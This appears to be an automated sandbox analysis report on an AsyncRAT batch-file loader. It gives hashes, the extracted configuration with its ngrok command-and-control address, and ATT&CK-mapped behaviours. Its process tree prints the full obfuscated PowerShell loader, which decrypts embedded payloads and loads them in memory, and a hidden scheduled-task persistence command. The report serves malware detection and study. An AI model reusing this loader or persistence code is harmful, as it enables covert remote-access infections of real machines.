asyncrat | eb94ad681ca2acc14bd598c0fcefbc4c059e2de8f1ff2a93401bfdc56fbfb453

Analysis

max time kernel
1360s
max time network
1152s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
14-08-2024 18:39

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General

Target

Bloody_Loader.bat
Size

272KB
MD5

7c0a3650dec50cf6ebebccbeefde89fc
SHA1

066764d975297ccb6a4ad915e9f3a4757f739362
SHA256

eb94ad681ca2acc14bd598c0fcefbc4c059e2de8f1ff2a93401bfdc56fbfb453
SHA512

ec1656af327a5df43ef4765cc1221411ae5f402809b165b741ea4749110825f5724dfa0611286cc8f2ac401b9f9cb440dbdf359f826d3cbddbded987a5586635
SSDEEP

6144:K4X36tiZ6MmwN5aQgSOzGhjWEop+/k1f+JcXB:9KwZQmcQgSO6hjFopwkp7

Score

10^/10

asyncrat slave execution rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Slave

0.tcp.ngrok.io:19607

Mutex

DcRatMutex_UIHUIHUIGUvytyfIfUDytYTdyyDytdtyducyCw

Attributes

delay
1
install
true
install_file
guiGUIgYFyufiuyIgogILGoW.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/3176-46-0x0000021272670000-0x0000021272682000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2792	powershell.exe
3300	powershell.exe
3176	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1735401866-3802634615-1355934272-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2792	powershell.exe
2792	powershell.exe
3300	powershell.exe
3300	powershell.exe
3176	powershell.exe
3176	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeIncreaseQuotaPrivilege	3300	powershell.exe
Token: SeSecurityPrivilege	3300	powershell.exe
Token: SeTakeOwnershipPrivilege	3300	powershell.exe
Token: SeLoadDriverPrivilege	3300	powershell.exe
Token: SeSystemProfilePrivilege	3300	powershell.exe
Token: SeSystemtimePrivilege	3300	powershell.exe
Token: SeProfSingleProcessPrivilege	3300	powershell.exe
Token: SeIncBasePriorityPrivilege	3300	powershell.exe
Token: SeCreatePagefilePrivilege	3300	powershell.exe
Token: SeBackupPrivilege	3300	powershell.exe
Token: SeRestorePrivilege	3300	powershell.exe
Token: SeShutdownPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeSystemEnvironmentPrivilege	3300	powershell.exe
Token: SeRemoteShutdownPrivilege	3300	powershell.exe
Token: SeUndockPrivilege	3300	powershell.exe
Token: SeManageVolumePrivilege	3300	powershell.exe
Token: 33	3300	powershell.exe
Token: 34	3300	powershell.exe
Token: 35	3300	powershell.exe
Token: 36	3300	powershell.exe
Token: SeIncreaseQuotaPrivilege	3300	powershell.exe
Token: SeSecurityPrivilege	3300	powershell.exe
Token: SeTakeOwnershipPrivilege	3300	powershell.exe
Token: SeLoadDriverPrivilege	3300	powershell.exe
Token: SeSystemProfilePrivilege	3300	powershell.exe
Token: SeSystemtimePrivilege	3300	powershell.exe
Token: SeProfSingleProcessPrivilege	3300	powershell.exe
Token: SeIncBasePriorityPrivilege	3300	powershell.exe
Token: SeCreatePagefilePrivilege	3300	powershell.exe
Token: SeBackupPrivilege	3300	powershell.exe
Token: SeRestorePrivilege	3300	powershell.exe
Token: SeShutdownPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeSystemEnvironmentPrivilege	3300	powershell.exe
Token: SeRemoteShutdownPrivilege	3300	powershell.exe
Token: SeUndockPrivilege	3300	powershell.exe
Token: SeManageVolumePrivilege	3300	powershell.exe
Token: 33	3300	powershell.exe
Token: 34	3300	powershell.exe
Token: 35	3300	powershell.exe
Token: 36	3300	powershell.exe
Token: SeIncreaseQuotaPrivilege	3300	powershell.exe
Token: SeSecurityPrivilege	3300	powershell.exe
Token: SeTakeOwnershipPrivilege	3300	powershell.exe
Token: SeLoadDriverPrivilege	3300	powershell.exe
Token: SeSystemProfilePrivilege	3300	powershell.exe
Token: SeSystemtimePrivilege	3300	powershell.exe
Token: SeProfSingleProcessPrivilege	3300	powershell.exe
Token: SeIncBasePriorityPrivilege	3300	powershell.exe
Token: SeCreatePagefilePrivilege	3300	powershell.exe
Token: SeBackupPrivilege	3300	powershell.exe
Token: SeRestorePrivilege	3300	powershell.exe
Token: SeShutdownPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeSystemEnvironmentPrivilege	3300	powershell.exe
Token: SeRemoteShutdownPrivilege	3300	powershell.exe
Token: SeUndockPrivilege	3300	powershell.exe
Token: SeManageVolumePrivilege	3300	powershell.exe
Token: 33	3300	powershell.exe
Token: 34	3300	powershell.exe
Token: 35	3300	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 4768	1964	cmd.exe	82
PID 1964 wrote to memory of 4768	1964	cmd.exe	82
PID 4768 wrote to memory of 1680	4768	net.exe	83
PID 4768 wrote to memory of 1680	4768	net.exe	83
PID 1964 wrote to memory of 2792	1964	cmd.exe	85
PID 1964 wrote to memory of 2792	1964	cmd.exe	85
PID 2792 wrote to memory of 3300	2792	powershell.exe	86
PID 2792 wrote to memory of 3300	2792	powershell.exe	86
PID 2792 wrote to memory of 3288	2792	powershell.exe	89
PID 2792 wrote to memory of 3288	2792	powershell.exe	89
PID 3288 wrote to memory of 2348	3288	WScript.exe	90
PID 3288 wrote to memory of 2348	3288	WScript.exe	90
PID 2348 wrote to memory of 948	2348	cmd.exe	92
PID 2348 wrote to memory of 948	2348	cmd.exe	92
PID 948 wrote to memory of 4884	948	net.exe	93
PID 948 wrote to memory of 4884	948	net.exe	93
PID 2348 wrote to memory of 3176	2348	cmd.exe	94
PID 2348 wrote to memory of 3176	2348	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Bloody_Loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fV/Up7qUPSsYVv8qPYBq388BVTyBfx7AFUTIN6pX+9Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UPoLFJh/fjC0c7227bhlQQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dPUNI=New-Object System.IO.MemoryStream(,$param_var); $hEbTl=New-Object System.IO.MemoryStream; $WZgAA=New-Object System.IO.Compression.GZipStream($dPUNI, [IO.Compression.CompressionMode]::Decompress); $WZgAA.CopyTo($hEbTl); $WZgAA.Dispose(); $dPUNI.Dispose(); $hEbTl.Dispose(); $hEbTl.ToArray();}function execute_function($param_var,$param2_var){ $IobAO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $cRlcB=$IobAO.EntryPoint; $cRlcB.Invoke($null, $param2_var);}$lIqxF = 'C:\Users\Admin\AppData\Local\Temp\Bloody_Loader.bat';$host.UI.RawUI.WindowTitle = $lIqxF;$dBxyo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($lIqxF).Split([Environment]::NewLine);foreach ($mhKyv in $dBxyo) { if ($mhKyv.StartsWith(':: ')) { $RbMzN=$mhKyv.Substring(3); break; }}$payloads_var=[string[]]$RbMzN.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_937_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_937.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3300
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_937.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3288
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_937.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2348
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:948
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:4884
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fV/Up7qUPSsYVv8qPYBq388BVTyBfx7AFUTIN6pX+9Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UPoLFJh/fjC0c7227bhlQQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dPUNI=New-Object System.IO.MemoryStream(,$param_var); $hEbTl=New-Object System.IO.MemoryStream; $WZgAA=New-Object System.IO.Compression.GZipStream($dPUNI, [IO.Compression.CompressionMode]::Decompress); $WZgAA.CopyTo($hEbTl); $WZgAA.Dispose(); $dPUNI.Dispose(); $hEbTl.Dispose(); $hEbTl.ToArray();}function execute_function($param_var,$param2_var){ $IobAO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $cRlcB=$IobAO.EntryPoint; $cRlcB.Invoke($null, $param2_var);}$lIqxF = 'C:\Users\Admin\AppData\Roaming\startup_str_937.bat';$host.UI.RawUI.WindowTitle = $lIqxF;$dBxyo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($lIqxF).Split([Environment]::NewLine);foreach ($mhKyv in $dBxyo) { if ($mhKyv.StartsWith(':: ')) { $RbMzN=$mhKyv.Substring(3); break; }}$payloads_var=[string[]]$RbMzN.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb15ee5741b379245ca8549cb0d4ecf8

SHA1
3555273945abda3402674aea7a4bff65eb71a783

SHA256
b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

SHA512
1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hdlgukn5.k4h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_937.bat

Filesize
272KB

MD5
7c0a3650dec50cf6ebebccbeefde89fc

SHA1
066764d975297ccb6a4ad915e9f3a4757f739362

SHA256
eb94ad681ca2acc14bd598c0fcefbc4c059e2de8f1ff2a93401bfdc56fbfb453

SHA512
ec1656af327a5df43ef4765cc1221411ae5f402809b165b741ea4749110825f5724dfa0611286cc8f2ac401b9f9cb440dbdf359f826d3cbddbded987a5586635

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_937.vbs

Filesize
115B

MD5
31ac93556d45bd5c7cda7de15c644174

SHA1
9c244354242c78b753d64c22bfb2ad5a8085ddc9

SHA256
642d1de104dad1181474117b26e8b04dccd3726e217bcfeeba3ec1995485aae1

SHA512
81a40b94453357af856ad29253ba61b6df35ee5b798f2a2ee8fc15ca11eff67de208b51cdc740e62b81c451ec8041602d6a53c50df911dd0c82640d6428283e4

Download Submit
memory/2792-11-0x00007FFBD9AC0000-0x00007FFBDA582000-memory.dmp

Filesize
10.8MB

Download
memory/2792-13-0x000001C5F9FB0000-0x000001C5F9FE4000-memory.dmp

Filesize
208KB

Download
memory/2792-12-0x000001C5F9FA0000-0x000001C5F9FA8000-memory.dmp

Filesize
32KB

Download
memory/2792-0-0x00007FFBD9AC3000-0x00007FFBD9AC5000-memory.dmp

Filesize
8KB

Download
memory/2792-10-0x000001C5F9F10000-0x000001C5F9F32000-memory.dmp

Filesize
136KB

Download
memory/2792-1-0x00007FFBD9AC0000-0x00007FFBDA582000-memory.dmp

Filesize
10.8MB

Download
memory/2792-47-0x00007FFBD9AC0000-0x00007FFBDA582000-memory.dmp

Filesize
10.8MB

Download
memory/2792-48-0x00007FFBD9AC3000-0x00007FFBD9AC5000-memory.dmp

Filesize
8KB

Download
memory/3176-46-0x0000021272670000-0x0000021272682000-memory.dmp

Filesize
72KB

Download
memory/3300-23-0x00007FFBD9AC0000-0x00007FFBDA582000-memory.dmp

Filesize
10.8MB

Download
memory/3300-24-0x00007FFBD9AC0000-0x00007FFBDA582000-memory.dmp

Filesize
10.8MB

Download
memory/3300-25-0x00007FFBD9AC0000-0x00007FFBDA582000-memory.dmp

Filesize
10.8MB

Download
memory/3300-28-0x00007FFBD9AC0000-0x00007FFBDA582000-memory.dmp

Filesize
10.8MB

Download